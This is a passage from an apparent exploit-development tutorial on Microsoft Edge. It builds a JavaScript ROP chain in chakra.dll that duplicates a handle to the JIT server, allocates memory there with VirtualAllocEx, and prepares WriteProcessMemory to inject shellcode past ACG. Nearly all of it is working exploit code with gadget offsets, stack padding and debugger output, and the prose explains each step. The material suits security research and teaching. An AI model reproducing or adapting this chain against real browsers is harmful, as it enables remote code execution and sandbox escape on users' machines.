<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>
</code></pre></div></div>

<p>We can notice two things here - recall we stored the handle in an empty address within <code class="language-plaintext highlighter-rouge">.data</code> of <code class="language-plaintext highlighter-rouge">chakra.dll</code>. We simply can <code class="language-plaintext highlighter-rouge">pop</code> this pointer into RCX, and then dereference it to get the raw handle value. This arbitrary dereference gadget, where we can extract the value RCX points to, is followed by a write operation at the memory address in RAX + <code class="language-plaintext highlighter-rouge">0x20</code>. Recall we already have placed a writable address into RAX, so we simply can move on knowing we “bypass” this instruction, as the write operation won’t cause an access violation - the memory in RAX is already writable.</p>

<p><img src="/images/3typeconfusion100.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>		<span class="c1">// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The last thing we need to do is twofold:</p>
<ol>
  <li>Place <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> into RAX</li>
  <li>Directly write our last parameter at RSP + <code class="language-plaintext highlighter-rouge">0x28</code> (we have already explained why RSP + <code class="language-plaintext highlighter-rouge">0x28</code> instead of RSP + <code class="language-plaintext highlighter-rouge">0x20</code>) (this is done via our arbitrary write and <em>not</em> via a ROP gadget)</li>
  <li><code class="language-plaintext highlighter-rouge">jmp rax</code> to kick off the call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code></li>
</ol>

<p>Again, as a point of reiteration, we can see we simply can just write our last parameter to RSP + <code class="language-plaintext highlighter-rouge">0x28</code> instead of using a gadget to <code class="language-plaintext highlighter-rouge">mov [rsp+0x28], reg</code>.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>When this occurs, our call will be in the following (final) state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>		<span class="c1">// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make our memory readable and writable</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion101.png" alt="" /></p>

<p>We can step into the jump with <code class="language-plaintext highlighter-rouge">t</code> and then use <code class="language-plaintext highlighter-rouge">pt</code> to hit the <code class="language-plaintext highlighter-rouge">ret</code> of <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>. At this point, as is generally true in assembly, RAX should contain the return value of <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> - which should be a pointer to a block of memory within the JIT process, size <code class="language-plaintext highlighter-rouge">0x1000</code>, and RW.</p>

<p><img src="/images/3typeconfusion102.png" alt="" /></p>

<p><img src="/images/3typeconfusion103.png" alt="" /></p>

<p>If we try to examine this address within the debugger, we will see it is invalid memory.</p>

<p><img src="/images/3typeconfusion104.png" alt="" /></p>

<p>However, if we attach a <em>new</em> WinDbg session (without closing out the current one) to the JIT process (we have already shown multiple times in this blog post how to identify the JIT process) we can see this memory is committed.</p>

<p><img src="/images/3typeconfusion105.png" alt="" /></p>

<p>As we can see, our second ROP chain was successful and we have allocated a page of RW memory within the JIT process. We will eventually write our shellcode into this allocation and use a final-stage ROP chain we will inject into the JIT process to mark this region as RWX.</p>

<h2 id="writeprocessmemory-rop-chain"><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP Chain</h2>

<p>At this point in our exploit, we have seen our ability to control memory within the remote JIT process - where ACG is disabled. As previously shown, we have allocated memory within the JIT process. Additionally, towards the beginning of the blog, we have stored our shellcode in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> (see “Shellcode” section). We know this shellcode will never become executable in the current content process (where our exploit is executing) - so we need to inject it into the JIT process, where ACG is disabled. We will setup a call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> in order to write our shellcode into our new allocation within the JIT server.</p>

<p>Here is how our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> will look:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAllocEx_Allocation</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write our shellcode)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our shellcode in the content process (.data of chakra) (what we want to write (our shellcode))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>				<span class="c1">// Size of our shellcode</span>
	<span class="nb">NULL</span> 						<span class="c1">// Optional</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Here is the instrumentation of our ROP chain (including <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> and <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> for continuity purposes):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
